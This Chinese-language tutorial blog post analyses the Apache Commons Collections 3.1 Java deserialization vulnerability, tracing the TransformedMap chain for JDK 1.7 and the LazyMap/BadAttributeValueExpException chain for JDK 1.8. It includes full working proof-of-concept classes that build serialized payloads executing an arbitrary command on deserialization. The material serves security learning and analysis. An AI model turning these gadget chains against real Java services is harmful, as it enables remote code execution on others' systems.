从apache-commons-collections中学习java反序列化

前言

​ java安全学习的第一篇文章,apache commons collections3.1的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞,废话不多说,我们直接上手分析。希望能帮助到和我一样的初学者。

环境准备

基础知识准备

java反射机制

​ 反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。

​ Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。

Java.lang.Class;
Java.lang.reflect.Constructor;
Java.lang.reflect.Field;
Java.lang.reflect.Method;
Java.lang.reflect.Modifier;
获取反射中的Class对象
#Class.forName 静态方法
Class clz = Class.forName("java.lang.String");
#使用 .class 方法。
Class clz = String.class;
#使用类对象的 getClass() 方法
String str = new String("Hello");
Class clz = str.getClass();
获取方法
getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象

public Method getMethod(String name, Class<?>... parameterTypes)
反射Runtime执行本地命令
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
InputStream in = process.getInputStream();

// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));

Java反序列化

​ 类似php中反序列化使用的魔术方法,比如__destruct函数。在java中,readObject方法在反序列化漏洞时起到了至关重要的作用,利用ObjectInputStream的readObject方法进行对象读取的时候,当readObject()方法被重写的时候,反序列化该类时调用的就是重写的方法。

private void writeObject(ObjectOutputStream oos)  //自定义序列化
private void readObject(ObjectInputStream ois)  //自定义反序列化
private void readObjectNoData()
protected Object writeReplace()  //写入时替换对象。
protected Object readResolve()

反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义readObjectwriteObject方法从而实现自定义的序列化和反序列化操作。

漏洞原理分析

我们在分析cc链反序列化化漏洞的主要思路其实就是两条:

  • 利用InvokerTransformerConstantTransformerChainedTransformer 等类构建反射链,利用java的反射机制,然后通过类中的transformer类来调用。
  • 找Common Collections中的类在反序列化时,会触发调用 transform 方法的情况,并以此来构建反序列化漏洞的攻击链。

接下来我们使用IDEA跟进代码进行审计

一、寻找反射链

org/apache/commons/collections/functors/InvokerTransformer

IDEA跟进类中(48~61行):

​ 可以看到此处的transform方法调用了java的反射机制,并且发现this.iMethodName , this.iParamTypes, this.iArgs我们都是可以直接输入的。而input是在函数调用的时候传入的,我们同样是可控的。

当我们向对应参数传入以下值,即可以调用代码执行:

存在一组可控的反射调用是cc链存在反序列化漏洞的根本原因,但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果,这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。

要想真正的形成调用链,我们仍然需要利用java的反射机制来调用函数,并且至少要调用四个方法:

getMethod(), getRuntime(), exec() ,invoke()

所以我们之后找到了ChainedTransformer 类。

org/apache/commons/collections/functors/ChainedTransformer

IDEA跟进53~63行

简单的分析代码逻辑,该类的构造函数接受一个数组,我们只需要传入一个数组chainedTransformer就可以依次去调用每一个类的transform方法。

org/apache/commons/collections/functors/ConstantTransformer

接口函数,在上面的循环中进入了不同的函数。给一个初始的object,然后输出作为下一个输入,从而实现链式调用。

最后的反射poc如下:

Transformer[] transformers = new Transformer[] {
            //传入Runtime类
            new ConstantTransformer(Runtime.class),
            //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
            new InvokerTransformer("getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }),
            //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
            new InvokerTransformer("invoke",
                    new Class[] {Object.class, Object[].class },
                    new Object[] {null, new Object[0] }),
            //反射调用exec方法
            new InvokerTransformer("exec",
                    new Class[] {String.class },
                    new Object[] {"open -a Calculator"})
    };
Transformer transformerChain = new ChainedTransformer(transformers);

我们已经构造好了恶意的反射链条,现在我们的目标是触发该类的transform方法。

二、寻找触发链

某个类的readObject方法
->一系列调用
->Transformerchain的transformer方法
->执行反射链
->执行Runtime.getRuntime().exec(new String[]{"calc"})
  • 找到一个 tansform() 方法 , 该方法所属的实例对象是可控的
  • 找到一个重写的 readObject() 方法 , 该方法会自动调用 transform() 方法.

JDK1.7--TransformedMap利用链

Transmap类在一个元素被添加/删除/或是被修改时,会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。

​ 因此,我们可以先构造一个TransformeMap实例,然后修改其中的数据,然后使其自动调用我们之前设定好的transform()方法。

调用链:
->ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
 ->TransformedMap.transform()
->ChainedTransformer.transform()
分析:

首先看/org/apache/commons/collections/map/TransformedMap

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

TransformedMap中的valueTransformer在初始化时我们是可控的.

public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

当执行put方法时会进入transformValue方法:

protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

我们可以控制这里的valueTransformer值为ChianedTransformer即可触发利用链。

但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢?

AbstractInputCheckedMapDecorator类

​ 调用java自带类AnnotationInvocationHandler中重写的readObject方法,该方法调用时会先将map转为Map.entry,然后执行setvalue操作。

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

TransformedMap利用Map.Entry取得第一个值,调用修改值的函数,会触发的setValue()代码

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }

接着到了TransoformedMap的checkSetValue()方法。

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

​ 这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。

最后的POC:

这里直接上其他大师傅们的poc:

package Serialize2;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Exec implements Serializable {
    public static void main(String[] args) throws Exception{
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
         };
         Transformer transformerChain = new ChainedTransformer(transformers);

         Map map = new HashMap();
         map.put("value", "sijidou");
         Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
         ctor.setAccessible(true);
         Object instance = ctor.newInstance(Target.class, transformedMap);

         //序列化
         FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
         objectOutputStream.writeObject(instance);
         objectOutputStream.close();

         //反序列化
         FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
         ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
         Object result = objectInputStream.readObject();
         objectInputStream.close();
         System.out.println(result);

    }
}

JDK1.8--LazyMap利用链

​ 对于JDK 1.8来说,AnnotationInvocationHandler类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,

调用链
反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
分析

我们首先看一下LazyMap这个类,这个类也实现了一个map接口:

protected LazyMap(Map map, Transformer factory)
{
  super(map);
  if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
  }
  this.factory = factory;
}

//get方法
public Object get(Object key)
{
  if (!this.map.containsKey(key))
  {
    Object value = this.factory.transform(key); 
    this.map.put(key, value);
    return value;
  }
  return this.map.get(key);
}

​ 我们可以看到get方法中如果没有找到key的键值,就会调用factory.transform(key);,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。

那么如何去自动调用get()方法,跟进TiedMapEntry

public TiedMapEntry(Map map, Object key)
{
  this.map = map;
  this.key = key;
}

//toString方法
public String toString()
{
   return getKey() + "=" + getValue();
}

//getKey方法
public Object getValue()
{
  return this.map.get(this.key);
}

TiedMapEntry中,构造时传入使用LazyMap,调用tostring()方法,然后紧接着就会调用LazyMap类对象的get方法。

​ 那么到目前为止,我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。

BadAttributeValueExpException类

看到BadAttributeValueExpExceptionreadObject反序列化方法,调用了toString方法。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

​ 其中 valObj 为构造的 TiedMapEntry 类的对象,可以看到其中调用了该类的 toString 函数。

​ 所以,我们只要构造一个BadAttributeValueExpException对象,并注入我们精心制造的TiedMapEntry对象。就可在以在反序列时,执行任意命令。

最后的POC
public class Exec  {

    public static BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        Class<? extends Transformer> aClass = transformerChain.getClass();

        Field iTransformers = aClass.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);

        return val;
    }

    public static void main(String[] args) throws Exception {

        BadAttributeValueExpException calc = getObject("calc");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(calc);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();

        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject(); //将byte数组输入流反序列化


    }

}

参考文章

https://b1ue.cn/archives/166.html

https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.secpulse.com/archives/137940.html

https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/

https://security.tencent.com/index.php/blog/msg/97

https://www.xmanblog.net/java-deserialize-apache-commons-collections/

https://lzwgiter.github.io/Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/4558#toc-0

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖